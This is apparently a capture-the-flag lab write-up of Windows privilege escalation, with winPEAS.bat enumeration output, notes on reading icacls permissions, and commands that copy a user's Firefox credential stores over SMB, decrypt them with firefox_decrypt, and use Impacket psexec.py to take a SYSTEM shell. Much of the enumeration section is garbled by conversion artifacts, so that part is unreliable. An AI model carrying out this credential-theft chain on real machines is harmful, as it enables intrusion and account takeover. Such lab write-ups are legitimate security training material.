C:\Users\natbat\Desktop>winPEAS.bat winPFAS.bat [+] SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS $\cite{Continuous of the continuous of the cont$ $\hbox{$C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe NT AUTHORITY\SYSTEM:(I)(F) } \\$ $\hbox{C:\Program Files\Amazon\XenTools\LiteAgent.exe NT AUTHORITY\SYSTEM:(I)(F) } \\$ C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe NT SERVICE\TrustedInstaller:(F) C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe NT SERVICE\TrustedInstaller:(F) C:\Windows\yQJRJjIw.exe NT AUTHORITY\SYSTEM:(I)(F) $\hbox{$C:\Program Files$Amazon\Ec2ConfigService\Ec2Config.exe NT AUTHORITY\SYSTEM:(I)(F) and Instance of the control of the cont$ C:\Windows\ehome\ehRecvr.exe NT SERVICE\TrustedInstaller:(F) C:\Windows\ehome\ehsched.exe NT SERVICE\TrustedInstaller:(F) $\label{lem:c:windows} C:\Windows\Microsoft.Net\Framework64\v3.0\WPF\PresentationFontCache.exe\ NT\ SERVICE\TrustedInstaller:(F) and the second of the seco$ $C:\windows\w$ C:\Windows\RTZkUBAA.exe NT AUTHORITY\SYSTEM:(I)(F) C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\SMSvcHost.exe NT SERVICE\TrustedInstaller:(F) C:\Windows\SysWow64\perfhost.exe NT SERVICE\TrustedInstaller:(F) C:\Windows\PSSDNSVC.EXE NT AUTHORITY\SYSTEM:(I)(F) C:\Windows\SSKGBZfk.exe NT AUTHORITY\SYSTEM:(I)(F) C:\Windows\ZpCxEnlk.exe NT AUTHORITY\SYSTEM:(I)(F) C:\Windows\servicing\TrustedInstaller.exe NT SERVICE\TrustedInstaller:(F) C:\Program Files\Windows Media Player\wmpnetwk.exe NT SERVICE\TrustedInstaller:(F) C:\Windows\ZyDdlSma.exe NT AUTHORITY\SYSTEM:(I)(F) C:\Windows\ZoHKDlWg.exe NT AUTHORITY\SYSTEM:(I)(F) C:\Windows\wOuMBxwT.exe NT AUTHORITY\SYSTEM:(I)(F) C:\Windows\xypeozol.exe NT AUTHORITY\SYSTEM:(I)(F) [+] CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services [+] UNQUOTED SERVICE PATHS [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe' [i] The permissions are also checked and filtered using icacls [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services AGce C:\Windows\OliHxocT.exe C:\Windows\OliHxocT.exe NT AUTHORITY\SYSTEM:(I)(F) $C:\label{lem:capprox} C:\label{lem:capprox} C:\label{lem:capprox} Amazon\XenTools\LiteAgent.exe$ Invalid parameter "Files\Amazon\XenTools\LiteAgent.exe" clr optimization v2.0.50727 32 $C: \windows \with C: \windows \with \windows \with C: \windows \with \windows \with \windows \windows \with \windows \$ C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe NT SERVICE\TrustedInstaller:(F) clr_optimization_v2.0.50727_64 C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe C:\Windows\yQJRJjlw.exe C:\Windows\yQJRJjIw.exe NT AUTHORITY\SYSTEM:(I)(F) C:\Windows\ehome\ehRecvr.exe C:\Windows\ehome\ehRecvr.exe NT SERVICE\TrustedInstaller:(F) C:\Windows\ehome\ehsched.exe C:\Windows\ehome\ehsched.exe NT SERVICE\TrustedInstaller:(F) $C:\Windows\Microsoft.Net\Framework64\v3.0\WPF\PresentationFontCache.exe$ C:\Windows\Microsoft.Net\Framework64\v3.0\WPF\PresentationFontCache.exe NT SERVICE\TrustedInstaller:(F) C:\Windows\RTZkUBAA.exe C:\Windows\RTZkUBAA.exe NT AUTHORITY\SYSTEM:(I)(F)

C:\Windows\SysWow64\perfhost.exe C:\Windows\SysWow64\perfhost.exe NT SERVICE\TrustedInstaller:(F) PsShutdownSvc C:\Windows\PSSDNSVC.EXE C:\Windows\PSSDNSVC.EXE NT AUTHORITY\SYSTEM:(I)(F) C:\Windows\SSKGBZfk.exe C:\Windows\SSKGBZfk.exe NT AUTHORITY\SYSTEM:(I)(F) C:\Windows\ZpCxEnIk.exe C:\Windows\ZpCxEnIk.exe NT AUTHORITY\SYSTEM:(I)(F) TrustedInstaller $C: \verb|\Windows\servicing\TrustedInstaller.exe| \\$ $\hbox{C:$\Windows\servicing\TrustedInstaller.exe NT SERVICE\TrustedInstaller:} (F)$ C:\Windows\ZyDdlSma.exe $\hbox{C:} \verb|Windows| ZyDdlSma.exe NT AUTHORITY| SYSTEM: (I)(F) \\$ C:\Windows\ZoHKDlWg.exe C:\Windows\ZoHKDIWg.exe NT AUTHORITY\SYSTEM:(I)(F) C:\Windows\wOuMBxwT.exe C:\Windows\wOuMBxwT.exe NT AUTHORITY\SYSTEM:(I)(F) C:\Windows\xypeozol.exe C:\Windows\xypeozol.exe NT AUTHORITY\SYSTEM:(I)(F) [*] DLL HIJACKING in PATHenv variable $\hbox{[i] Maybe you can take advantage of modifying/creating some binary in some of the following locations}\\$ $\hbox{[i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate}\\$ $\cite{Continuous of the continuous of the cont$ C:\Windows\system32 NT SERVICE\TrustedInstaller:(F) C:\Windows NT SERVICE\TrustedInstaller:(F) C:\Windows\System32\Wbem NT SERVICE\TrustedInstaller:(F) [*] CREDENTIALS [+] WINDOWS VAULT [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#windows-vault Currently stored credentials: * NONE * [+] Unattended files C:\Windows\Panther\Unattend.xml exists. [+] SAM and SYSTEM backups [+] McAffee SiteList.xml Volume in drive C has no label. Volume Serial Number is 3ABE-D44B Volume in drive C has no label. Volume Serial Number is 3ABE-D44B Volume in drive C has no label.

Volume Serial Number is 3ABE-D44B

Volume in drive C has no label.

Volume Serial Number is 3ABE-D44B

 $C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\Ifn812a.default-release\places.sqlite C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\Ifn812a.default-release\key4.db$

C:\Windows\Panther\unattend.xml

C:\Windows\Panther\setupinfo

C:\Windows\winsxs\amd64_microsoft-windows-iis-sharedlibraries_31bf3856ad364e35_6.1.7601.17514_none_6f0f7833cb71e18d\appcmd.exe

 $C: \windows \winsxs \wow 64_microsoft-windows-i is-shared libraries_31bf3856ad364e35_6.1.7601.17514_none_79642285ffd2a388 \appcmd. execution \windows \win$

Scan complete.

[+] GPP Password

[+] Cloud Credentials

Access is denied.

[+] AppCmd

[?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe

[+] Files in registry that may contain credentials

[i] Searching specific files that may contains credentials.

[?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files

Looking inside HKCU\Software\ORL\WinVNC3\Password

Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password

Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon

DefaultDomainName REG_SZ DefaultUserName REG SZ

Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP

Looking inside HKCU\Software\TightVNC\Server

 $Looking\ inside\ HKCU\Software\SimonTatham\PuTTY\Sessions$

 $Looking\ inside\ HKCU\Software\OpenSSH\Agent\Keys$

 $\hbox{$C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\lifn812a.default-release\places.sqlited} \\$

\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\Ijfn812a.default-release\key4.db

C:\Windows\Panther\unattend.xml

C:\Windows\Panther\setupinfo

Scan complete.

[+] DPAPI MASTER KEYS

[i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt

[?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi

[+] DPAPI MASTER KEYS

[i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt

[i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module

[?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi

Looking inside C:\Users\natbat\AppData\Roaming\Microsoft\Credentials\ Looking inside C:\Users\natbat\AppData\Local\Microsoft\Credentials\

 $Looking\ inside\ HKEY_LOCAL_MACHINE \backslash SOFTWARE \backslash RealVNC \backslash WinVNC4/password$

 $Looking\ inside\ HKLM\ SOFTWARE\ Microsoft\ Windows\ NT\ Current version\ WinLogon$

DefaultDomainName REG SZ DefaultUserName REG_SZ

Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP

Looking inside HKCU\Software\TightVNC\Server

Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions Looking inside HKCU\Software\OpenSSH\Agent\Keys

winPEAS.bat analyse strategy:

Interesting permissions

D - Delete access

- Full access (Edit_Permissions+Create+Delete+Read+Write)

N - NO access
M - Modify access (Create+Delete+Read+Write)
RX - Read and execute access
R - Read-only access
W - Write-only access

We will focus in F (full), M (Modify access) and W (write).

Use of Icacls by WinPEAS

When checking rights of a file or a folder the script search for the strings: (F) or (M) or (W) and the string ":" (so the path of the file being checked will appear inside the output).

It also checks that the found right (F, M or W) can be exploited by the current user.

A typical output where you dont have any nice access is:

C:\Windows\Explorer.EXE NT SERVICE\TrustedInstaller:(F)

An output where you have some interesting privilege will be like:

C:\Users\john\Desktop\desktop.ini NT AUTHORITY\SYSTEM:(I)(F) MYDOMAIN\fighn:(I)(F)

Here you can see that the privileges of user NT AUTHORITY\SYSTEM appears in the output because it is in the same line as the path of the binary. However, in the next line, you can see that our user (john) has full privileges in that file.

This is the kind of outpuf that you have to look for when usnig the winPEAS.bat script.

2.5. Privilege Escalation

In order to brute the credential for the Firefox, we need manually to collect the key4.db, cert9.db, logins.json and cookies.sqlite documents (remember that we have access on the Users\Share by using SMB):

On the target:

- > cd C:\Users\natbat
- > dir /ah
- > cd \AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release
- > copy key4.db \Users\Share
- > copy cert9.db \Users\Share
- > copy logins.json \Users\Share
- > copy cookies.sglite \Users\Share

On the attacker machine:

- > smbclient \\\\10.10.62.124\\Users
- > smb: \> cd Share
- > smb: \Share\> mget * (type yes after each installation)
- Decrypt these 4 documents by using this tool (https://github.com/unode/firefox_decrypt)



Note: You can symbolic the firefox_decrypt tool to your /sbin, so you can run it from any repository. By using this command: In –s /direcortoryofthetool/firefox_decrypt.py /sbin/firefox_decrypt.py

Then open another terminal and type this command: psexec.py usernameufound:password@machine_IP

```
root mictec /home/mictec
 # psexec.py mag: 8CL701
                                CIsV@10.10.62.124
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.62.124.....
[*] Found writable share ADMIN$
[*] Uploading file glDCQTHN.exe
[*] Opening SVCManager on 10.10.62.124.....
[*] Creating service pKoL on 10.10.62.124.....
[*] Starting service pKoL.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd \Users\mayor\Desktop
b"']cd' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n"
C:\Windows\system32>cd c:\Users\mayor\Desktop
c:\Users\mayor\Desktop>type root.txt.txt
c:\Users\mayor\Desktop>[]
```